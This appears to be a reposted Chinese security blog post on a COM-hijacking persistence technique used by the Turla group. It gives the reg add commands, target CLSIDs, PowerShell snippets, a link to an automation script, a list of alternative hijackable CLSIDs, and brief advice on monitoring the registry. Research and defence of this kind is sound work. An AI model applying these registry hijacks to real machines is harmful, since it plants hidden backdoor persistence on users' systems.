Use COM Object hijacking to maintain persistence——Hijack Outlook

发布于 2024-11-01 14:42:25 字数 4822 浏览 15 评论 0

0x00 前言

APT 组织 Trula 使用的一个后门利用方法,通过 COM 劫持实现在 Outlook 启动时加载 dll,特点是只需要当前用户的权限即可实现。

本文将参考公开的资料对这个方法进行测试,编写一个自动化利用脚本,扩展用法,分享多个可用的劫持位置,结合利用思路给出防御建议

参考资料:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

0x01 简介

本文将要介绍以下内容:

  • 利用方法
  • Powershell 脚本实现细节
  • 扩展用法
  • 防御建议

0x02 利用方法

Outlook 在启动时会加载多个 COM 对象,我们可以通过修改注册表的方式劫持 Outlook 的启动过程,用来加载 DLL

这里的利用方法需要添加两个注册表,修改两个 COM 对象

由于是修改 HKCU 的注册表,所以使用当前用户权限即可

(1)COM 对象 1,用来加载第二个 COM 对象

添加如下注册表:

HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

(2)COM 对象 2,用来加载 DLL

添加如下注册表:

HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 = [Path to the backdoor DLL]
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32\ThreadingModel = Apartment

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "c:\\test\\calc.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f

calc.dll 可使用之前的测试 DLL,地址为: https://github.com/3gstudent/test/blob/master/calc.dll

添加注册表后启动 Outlook,多次加载 DLL,弹出多个计算器,这里可以使用互斥量确保只弹出一个计算器,DLL 的下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll

对于 64 位 Windows 系统,如果安装了 32 位的 Office,两个 COM 对象的注册表位置需要修改为 HKCU\Software\Classes\Wow6432Node\CLSID\

0x03 Powershell 脚本实现细节

实现流程如下:

  1. 判断操作系统位数
  2. 判断 Office 软件版本
  3. 如果是 64 位系统安装 32 位 Office,注册表的位置为 HKCU\Software\Classes\Wow6432Node\CLSID\ ,否则,注册表的位置为 HKCU\Software\Classes\CLSID\
  4. 添加对应注册表

具体代码如下:

1. 判断操作系统位数

if ([IntPtr]::Size -eq 8)
{
    '64-bit'
}
else
{
    '32-bit'
}

2. 判断安装 office 软件版本

查看默认安装路径 C:\Program Files\Microsoft Office 是否包含文件夹 MEDIA

如果包含,那么为 64 位 Office,否则为 32 位 Office

powershell 代码如下:

Try  
{  
    dir C:\Program Files\Microsoft Office\MEDIA
    Write-Host "Microsoft Office: 64-bit"
}
Catch  
{ 
    Write-Host "Microsoft Office: 32-bit"
}

实现代码已开源,地址如下:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

代码实现了自动判断操作系统位数和 Office 软件版本,添加对应的注册表项

0x04 扩展用法

使用 Process Monitor 监控 Outlook 启动过程,查找是否有其他可用的 COM 对象,经测试,我在 Outlook2013 上找到多个可用方法,COM 对象 1 替换成以下任意一个,COM 对象 2 保持不变。

可用的 COM 对象 1:

  • {B056521A-9B10-425E-B616-1FCD828DB3B1}
  • {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}
  • {93E5752E-B889-47C5-8545-654EE2533C64}
  • {56FDF344-FD6D-11D0-958A-006097C9A090}
  • {2163EB1F-3FD9-4212-A41F-81D1F933597F}
  • {A6A2383F-AD50-4D52-8110-3508275E77F7}
  • {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}
  • {88D96A05-F192-11D4-A65F-0040963251E5}
  • {807583E5-5146-11D5-A672-00B0D022E945}
  • {529A9E6B-6587-4F23-AB9E-9C7D683E3C50}
  • {3CE74DE4-53D3-4D74-8B83-431B3828BA53}
  • {A4B544A1-438D-4B41-9325-869523E2D6C7}
  • {33C53A50-F456-4884-B049-85FD643ECFED}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}
  • {275C23E2-3747-11D0-9FEA-00AA003F8646}
  • {C15BB852-6F97-11D3-A990-00104B2A619F}
  • {ED475410-B0D6-11D2-8C3B-00104B2A6676}
  • {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}
  • {DCB00C01-570F-4A9B-8D69-199FDBA5723B}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

0x05 防御建议

监控以下注册表项下的创建和修改操作:

  • HKCU\Software\Classes\CLSID\
  • HKCU\Software\Classes\Wow6432Node\CLSID\

0x06 小结

本文介绍了通过 COM 劫持实现在 Outlook 启动时加载 dll 的方法,分享多个可用的劫持位置,结合利用思路给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

回首观望

暂无简介

文章
评论
26 人气
更多

推荐作者

十二

文章 0 评论 0

飞烟轻若梦

文章 0 评论 0

OPleyuhuo

文章 0 评论 0

wxb0109

文章 0 评论 0

旧城空念

文章 0 评论 0

-小熊_

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文